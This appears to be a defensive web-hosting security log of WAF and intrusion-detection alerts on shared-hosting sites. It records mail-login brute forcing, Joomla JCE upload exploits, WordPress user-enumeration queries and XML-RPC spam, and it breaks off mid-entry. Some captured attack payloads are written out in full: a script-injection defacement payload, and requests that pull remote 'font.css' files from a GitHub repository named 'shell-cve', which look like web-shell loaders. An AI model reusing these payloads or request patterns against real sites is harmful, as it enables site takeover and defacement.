2026-07-08 13:11:06 dovecot_login authenticator failed for H=([111.26.62.38]) [125.130.102.172]:39424: 535 Incorrect authentication data (set_id=nirmal)


plugin: modsec
rule: 77469916
abuser: 103.119.99.90
country_id: 1831722
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:cve-2026-48907-2046.xml.php||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 103.119.99.90
country_id: 1831722
domain: www.globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:cve-2026-48907-7224.xml.php||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.142.184.55
country_id: 1210997
description:
2026-07-08 13:12:46 dovecot_login authenticator failed for H=([84.111.136.210]) [103.142.184.55]:33592: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.217.83.54
country_id: 1269750
domain: jaashsupplies.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:10345.jaashsupplies.com||ServerName:jaashsupplies.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2ff08e551228a7edc311d23aac202d47b4c07672||Title:0x50b658f3||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.187.9.111
country_id: 298795
description:
2026-07-08 13:13:26 dovecot_login authenticator failed for H=(109x195x29x57.static-business.saratov.ertelecom.ru) [78.187.9.111]:49809: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 196.251.121.103
country_id: 241170
description:
2026-07-08 13:17:30 H=([196.251.121.103]) [196.251.121.103]:62815 F=<storage-alerts@microsoft.com.uk> rejected RCPT <mbt@globalgroupoman.com>: Sender verify failed


plugin: ossec
rule: 11009
name: WHM login success
abuser: 223.181.13.36
country_id: 1269750
description:
[2026-07-08 13:17:43 +0530] info [whostmgrd] 223.181.13.36 NEW root:Hs5KFGKAUAdY9WYd address=223.181.13.36,app=whostmgrd,creator=root,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.249.88
country_id: 1269750
description:
2026-07-08 13:21:58 dovecot_login authenticator failed for H=([162.253.68.102]) [122.187.249.88]:34316: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 154.195.108.155
country_id: 2921044
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://vietnamairportassistance.com\">\xd0\x9a\xd0\xb0\xd0\xba \xd0\xbe\xd0\xb1\xd0\xbe\xd0\xb9\xd1\x82\xd0\xb8 \xd0\xbe\xd1\x88\xd0\xb8\xd0\xb1\xd0\xba\xd1\x83 \"Invalid credentials\" \xd0\xbf\xd1\x80\xd0\xb8 \xd0\xbf\xd0\xbe\xd0\xb2\xd1\x82\xd0\xbe\xd1\x80\xd0\xbd\xd0\xbe\xd0\xbc \xd0\xb2\xd1\x85\xd0\xbe\xd0\xb4\xd0\xb5 \xd1\x87\xd0\xb5\xd1\x80\xd0\xb5\xd0\xb7 Tor</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.192.210.110
country_id: 1835841
description:
2026-07-08 13:22:12 dovecot_login authenticator failed for H=(64-49-97-15.protekweb.com) [119.192.210.110]:57475: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77469916
abuser: 91.224.92.82
country_id: 2635167
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:BDKR28_mj2nuo.xml.php||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 103.251.26.202
country_id: 6252001
domain: jaashsupplies.com
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:url||MV:https://raw.githubusercontent.com/sagsooz/fonts/refs/heads/main/font.css||User:jaashsupplies||SC:/home/jaashsupplies/public_html/index.php||WPU:||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 84.200.33.158
country_id: 2921044
domain: globalgroupoman.com
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:url||MV:https://raw.githubusercontent.com/skizofrenic/shell-cve/refs/heads/main//font.css||User:globalgroupoman||SC:/home/globalgroupoman/public_html/index.php||WPU:||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 194.5.82.8
country_id: 1880251
domain: ibmcglobal.com
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:8.26||T:APACHE||REQUEST_URI:/blog/wp-includes/wlwmanifest.xml||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 37.231.210.62
country_id: 285570
domain: kallanigroup.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:11027.kallanigroup.com||ServerName:kallanigroup.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:fc7371f67e8fed61bcd67d102c42a11677f66358||Title:0x56f1ac6b||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.244.60.35
country_id: 1562822
description:
2026-07-08 13:33:48 dovecot_login authenticator failed for H=(broadband.actcorp.in) [171.244.60.35]:58872: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.11.34.221
country_id: 1210997
description:
2026-07-08 13:33:10 dovecot_login authenticator failed for H=113-11-34-221.broadband.smile.com.bd ([49.124.153.14]) [113.11.34.221]:46110: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.188.204.213
country_id: 6252001
description:
2026-07-08 13:33:20 dovecot_login authenticator failed for H=([221.235.182.76]) [50.188.204.213]:51537: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.220.162.242
country_id: 2077456
description:
2026-07-08 13:35:14 dovecot_login authenticator failed for H=([49.125.201.70]) [203.220.162.242]:46117: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 33375
name: IM360 WAF: XMLRPC fault response
abuser: 64.89.163.28
country_id: 6252001
domain: apkmetal.in
description:
IM360 WAF: XMLRPC fault response||MV:<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<methodResponse>\n  <fault>\n    <value>\n      <struct>\n        <member>\n          <name>faultCode</name>\n          <value><int>403</int></value>\n        </member>\n        <member>\n          <name>faultString</name>\n          <value><string>Incorrect username or password.</string></value>\n        </member>\n      </struct>\n    </value>\n  </fault>\n</methodResponse>\n||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.226.181.38
country_id: 2661886
description:
2026-07-08 13:49:25 dovecot_login authenticator failed for H=c-83-226-181-38.bbcust.telenor.se ([220.94.124.233]) [83.226.181.38]:50408: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.96.62.29
country_id: 1835841
description:
2026-07-08 13:49:50 dovecot_login authenticator failed for H=([184.181.178.35]) [183.96.62.29]:18930: 535 Incorrect authentication data (set_id=nirmal)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 81.196.174.103
country_id: 798549
domain: ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ahsmarine.com/2018/08/index.html HTTP/1.1||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.184.124.46
country_id: 1269750
description:
2026-07-08 13:51:45 dovecot_login authenticator failed for H=([111.39.167.59]) [122.184.124.46]:60928: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.148.205.252
country_id: 2635167
description:
2026-07-08 13:51:55 dovecot_login authenticator failed for H=(109x195x29x57.static-business.saratov.ertelecom.ru) [147.148.205.252]:60104: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.131.63
country_id: 99237
description:
2026-07-08 13:52:07 dovecot_login authenticator failed for H=([118.91.176.243]) [65.20.131.63]:34635: 535 Incorrect authentication data (set_id=prasad.k)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 158.69.22.136
country_id: 6251999
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://phoenix.sinknews.it.com/\">bigtechoro</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.242.170.10
country_id: 1036973
description:
2026-07-08 13:55:36 dovecot_login authenticator failed for H=(h79-138-90-195.cust.bredband2.com) [197.242.170.10]:54099: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.116.107.222
country_id: 1835841
description:
2026-07-08 13:56:17 dovecot_login authenticator failed for H=(ip-142-54-232-1.hosts.zerolag.com) [211.116.107.222]:33660: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.82.110.150
country_id: 660013
description:
2026-07-08 13:56:29 dovecot_login authenticator failed for H=(107-135-117-245.lightspeed.livnmi.sbcglobal.net) [45.82.110.150]:54358: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.228.106
country_id: 1269750
description:
2026-07-08 13:59:10 dovecot_login authenticator failed for H=(42-200-73-3.static.imsbiz.com) [182.95.228.106]:37846: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.31.200.85
country_id: 1522867
description:
2026-07-08 13:59:23 dovecot_login authenticator failed for H=([170.9.53.196]) [193.31.200.85]:44866: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.77.214.59
country_id: 1835841
description:
2026-07-08 14:08:47 dovecot_login authenticator failed for H=([68.71.249.154]) [220.77.214.59]:55960: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.229.120.252
country_id: 2029969
domain: ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ahsmarine.com/ship-supply-and-services/index.html HTTP/1.1||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.147.248.23
country_id: 1269750
description:
2026-07-08 14:09:19 dovecot_login authenticator failed for H=(ipmapt-72-195-114-165.oc.oc.cox.net) [103.147.248.23]:45802: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.217.40.11
country_id: 6252001
description:
2026-07-08 14:09:51 dovecot_login authenticator failed for H=([197.219.228.242]) [50.217.40.11]:49354: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.11.34.221
country_id: 1210997
description:
2026-07-08 14:10:14 dovecot_login authenticator failed for H=113-11-34-221.broadband.smile.com.bd ([36.67.103.169]) [113.11.34.221]:49008: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.246.47.146
country_id: 1819730
description:
2026-07-08 14:11:51 dovecot_login authenticator failed for H=146.47.246.220.static.netvigator.com ([117.244.16.6]) [220.246.47.146]:56370: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.46.192.20
country_id: 2510769
description:
2026-07-08 14:12:07 dovecot_login authenticator failed for H=([49.124.152.157]) [193.46.192.20]:48557: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 121.200.216.55
country_id: 1562822
domain: futuracare.com.au
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.26||T:APACHE||MV:/wp-json/wp/v2/users?per_page=100&orderby=id&order=asc&_fields=id,slug||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 143.110.183.208
country_id: 1269750
domain: futuracare.com.au
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.26||T:APACHE||MV:/wp-json/wp/v2/users?per_page=100&who=authors&_fields=id,slug||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 20.233.187.228
country_id: 290557
domain: futuracare.com.au
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.26||T:APACHE||MV:/wp-json/wp/v2/users?has_published_posts=true&per_page=100&_fields=slug||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 87.106.67.224
country_id: 2635167
domain: futuracare.com.au
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.26||T:APACHE||MV:/wp-json/wp/v2/users?context=edit&per_page=100&_fields=slug||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 195.191.164.159
country_id: 2635167
domain: futuracare.com.au
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.26||T:APACHE||MV:/wp-json/wp/v2/users?per_page=100||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 162.254.36.150
country_id: 6252001
domain: futuracare.com.au
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.26||T:APACHE||MV:/wp-json/wp/v2/users?roles=administrator&per_page=100&_fields=slug||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 103.138.189.57
country_id: 1880251
domain: futuracare.com.au
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.26||T:APACHE||MV:/wp-json/wp/v2/users?per_page=100&orderby=id&order=desc&_fields=id,slug||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 64.225.121.94
country_id: 6252001
domain: futuracare.com.au
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.26||T:APACHE||MV:/wp-json/wp/v2/users?offset=0&per_page=100&_fields=id,slug||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 31.24.44.107
country_id: 2510769
domain: futuracare.com.au
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.26||T:APACHE||MV:/wp-json/wp/v2/users?per_page=100&_fields=id,slug||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.187.9.111
country_id: 298795
description:
2026-07-08 14:21:15 dovecot_login authenticator failed for H=(ns1.sinergi.net.id) [78.187.9.111]:38151: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.184.118.126
country_id: 1269750
description:
2026-07-08 14:21:27 dovecot_login authenticator failed for H=([195.211.39.144]) [122.184.118.126]:37648: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77350295
name: IM360 WAF: Interaction with fake plugin
abuser: 64.89.162.198
country_id: 6252001
domain: ibmcglobal.com
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/apikey/apikey.php?test=hello||WPU:||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77140165
name: IM360 WAF: Block .suspected files
abuser: 64.89.162.198
country_id: 6252001
domain: ibmcglobal.com
description:
IM360 WAF: Block .suspected files||RSV:8.26||T:APACHE||MVN:REQUEST_FILENAME||MV:/plugins/content/apismtp/apismtp.php.suspected||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 162.254.36.150
country_id: 6252001
domain: futuracare.com.au
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.26||T:APACHE||MV:/wp-json/wp/v2/users/2?_fields=id,slug,roles||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.247.245.61
country_id: 1835841
description:
2026-07-08 14:22:47 dovecot_login authenticator failed for H=(wsip-184-178-172-24.rn.hr.cox.net) [1.247.245.61]:51344: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 157.66.47.83
country_id: 1562822
domain: futuracare.com.au
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.26||T:APACHE||MV:/wp-json/wp/v2/users/3?_fields=id,slug,roles||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 121.200.216.55
country_id: 1562822
domain: futuracare.com.au
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.26||T:APACHE||MV:/wp-json/wp/v2/users/4?_fields=id,slug,roles||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.189.17.35
country_id: 298795
description:
2026-07-08 14:22:28 dovecot_login authenticator failed for H=([101.13.5.30]) [78.189.17.35]:52356: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.179.251
country_id: 99237
description:
2026-07-08 14:22:57 dovecot_login authenticator failed for H=(ipmapt-72-195-101-102.oc.oc.cox.net) [65.20.179.251]:56139: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 172.90.128.97
country_id: 6252001
description:
2026-07-08 14:23:28 dovecot_login authenticator failed for H=([82.151.198.45]) [172.90.128.97]:53057: 535 Incorrect authentication data (set_id=mbt)


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 194.163.172.142
country_id: 3017382
domain: futuracare.com.au
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.26||T:APACHE||MV:/wp-json/wp/v2/users/5?_fields=id,slug,roles||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 174.126.222.110
country_id: 6252001
description:
2026-07-08 14:23:20 dovecot_login authenticator failed for H=174-126-222-110.cpe.sparklight.net ([220.180.107.193]) [174.126.222.110]:57137: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 121.200.216.55
country_id: 1562822
domain: futuracare.com.au
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.26||T:APACHE||MV:/wp-json/wp/v2/users/6?_fields=id,slug,roles||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 103.56.161.126
country_id: 1562822
domain: futuracare.com.au
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.26||T:APACHE||MV:/wp-json/wp/v2/users/9?_fields=id,slug,roles||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 68.178.160.25
country_id: 6252001
domain: futuracare.com.au
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.26||T:APACHE||MV:/wp-json/wp/v2/users/10?_fields=id,slug,roles||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.146.106
country_id: 1269750
description:
2026-07-08 14:27:35 dovecot_login authenticator failed for H=(64-49-97-15.protekweb.com) [122.185.146.106]:50444: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.249.88
country_id: 1269750
description:
2026-07-08 14:27:05 dovecot_login authenticator failed for H=([74.208.177.56]) [122.187.249.88]:53278: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 13.68.214.34
country_id: 6252001
description:
2026-07-08 14:31:51 dovecot_login authenticator failed for H=([175.206.113.91]) [13.68.214.34]:40956: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 176.10.203.54
country_id: 2661886
description:
2026-07-08 14:32:32 dovecot_login authenticator failed for H=h-176-10-203-54.a463.priv.bahnhof.se (vm-creative-db01.madavor.cl.zerolag.com) [176.10.203.54]:56972: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.174.10.44
country_id: 1562822
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/signature-elite-series-es35?Itemid=101&catid=18 HTTP/1.1||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.196.127.84
country_id: 6252001
description:
2026-07-08 14:36:06 dovecot_login authenticator failed for H=(abts-kk-static-226.253.166.122.airtelbroadband.in) [74.196.127.84]:32850: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.207.3.114
country_id: 1835841
description:
2026-07-08 14:36:08 dovecot_login authenticator failed for H=(vm-creative-db01.madavor.cl.zerolag.com) [119.207.3.114]:52795: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.242.170.10
country_id: 1036973
description:
2026-07-08 14:36:26 dovecot_login authenticator failed for H=([117.70.94.155]) [197.242.170.10]:49316: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.7.136
country_id: 1668284
description:
2026-07-08 14:37:21 dovecot_login authenticator failed for H=111-70-7-136.emome-ip.hinet.net ([98.178.72.4]) [111.70.7.136]:48343: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.67.37.52
country_id: 798544
description:
2026-07-08 14:38:09 dovecot_login authenticator failed for H=89-67-37-52.dynamic.play.pl ([152.52.192.162]) [89.67.37.52]:48615: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.33.119.34
country_id: 1835841
description:
2026-07-08 14:40:05 dovecot_login authenticator failed for H=([216.16.101.175]) [118.33.119.34]:40522: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 103.251.26.202
country_id: 6252001
domain: yukticlick.com
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:url||MV:https://raw.githubusercontent.com/sagsooz/fonts/refs/heads/main/font.css||User:yukticlick||SC:/home/yukticlick/public_html/index.php||WPU:||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.209.100.246
country_id: 6252001
description:
2026-07-08 14:44:58 dovecot_login authenticator failed for H=([116.230.66.189]) [74.209.100.246]:57176: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.59.99.40
country_id: 149590
description:
2026-07-08 14:46:24 dovecot_login authenticator failed for H=(60-249-252-94.hinet-ip.hinet.net) [41.59.99.40]:51312: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.112.143
country_id: 1668284
description:
2026-07-08 14:49:15 dovecot_login authenticator failed for H=110-25-112-143.adsl.fetnet.net (a4.ucndns.in) [110.25.112.143]:50647: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.29.140.188
country_id: 1835841
description:
2026-07-08 14:49:34 dovecot_login authenticator failed for H=([45.170.50.2]) [120.29.140.188]:36702: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.28.226.125
country_id: 1036973
description:
2026-07-08 14:51:36 dovecot_login authenticator failed for H=(42-200-66-116.static.imsbiz.com) [196.28.226.125]:45314: 535 Incorrect authentication data (set_id=pan@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.122.39.33
country_id: 2635167
description:
2026-07-08 14:52:05 dovecot_login authenticator failed for H=([203.110.233.225]) [188.122.39.33]:57706: 535 Incorrect authentication data (set_id=pan@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.242.170.10
country_id: 1036973
description:
2026-07-08 14:52:23 dovecot_login authenticator failed for H=([197.242.170.10]) [197.242.170.10]:53139: 535 Incorrect authentication data (set_id=pan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.230.74
country_id: 1269750
description:
2026-07-08 14:54:49 dovecot_login authenticator failed for H=([36.135.94.148]) [182.95.230.74]:52000: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.28.120.42
country_id: 1210997
domain: metrodigitals.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:93844.metrodigitals.com||ServerName:metrodigitals.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4af443f89fe7d80daf39b8720b66ec7261dea66a||Title:0xfba04031||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 20.84.120.171
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Possible XSS in arguments||MV:{\"preset\": \"default\", \"logo\": \"\", \"logo_type\": \"image\", \"site_width\": \"1140px\", \"layout_type\": \"fluid\", \"sticky_header\": \"0\", \"custom_css\": \"\", \"before_head\": \"<script>document.addeventlistener('domcontentloaded',function(){document.title='hacked by coupdegrace';document.body.style.csstext='margin:0;overflow:hidden';document.body.innerhtml='<div style=\\\"display:flex;align-items:center;justify-content:center;height:100vh;width:100vw;background:#000;color:#fff;font-family:monospace;font-size:clamp(24px,5vw,64px);font-weight:bold;text-align:center;letter-spacing:3px\\\">hacked by coupdegrace</div>';});</script>\", \"after_body\": \"\", \"animation\": \"fadein\", \"body_font\": \"\", \"heading_font\": \"\"}||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.70.60.70
country_id: 192950
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/our-clients HTTP/1.1||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.242.170.10
country_id: 1036973
description:
2026-07-08 15:07:44 dovecot_login authenticator failed for H=(broadband-77-37-162-117.ip.moscow.rt.ru) [197.242.170.10]:56146: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.173.101.238
country_id: 1562822
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/large-display-screens-projectors HTTP/1.1||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.161.142.77
country_id: 1835841
description:
2026-07-08 15:12:38 dovecot_login authenticator failed for H=([49.124.152.235]) [221.161.142.77]:4564: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.50
country_id: 1269750
description:
2026-07-08 15:13:07 dovecot_login authenticator failed for H=(170.193.235.186.in-addr.arpa.verointernet.com.br) [182.95.181.50]:50270: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.195.53.129
country_id: 6252001
description:
2026-07-08 15:15:25 dovecot_login authenticator failed for H=([212.132.64.89]) [74.195.53.129]:34870: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 87.199.201.200
country_id: 2750405
domain: metrodigitals.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:15-15.87.199.201.200||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.177.169.88
country_id: 3923057
description:
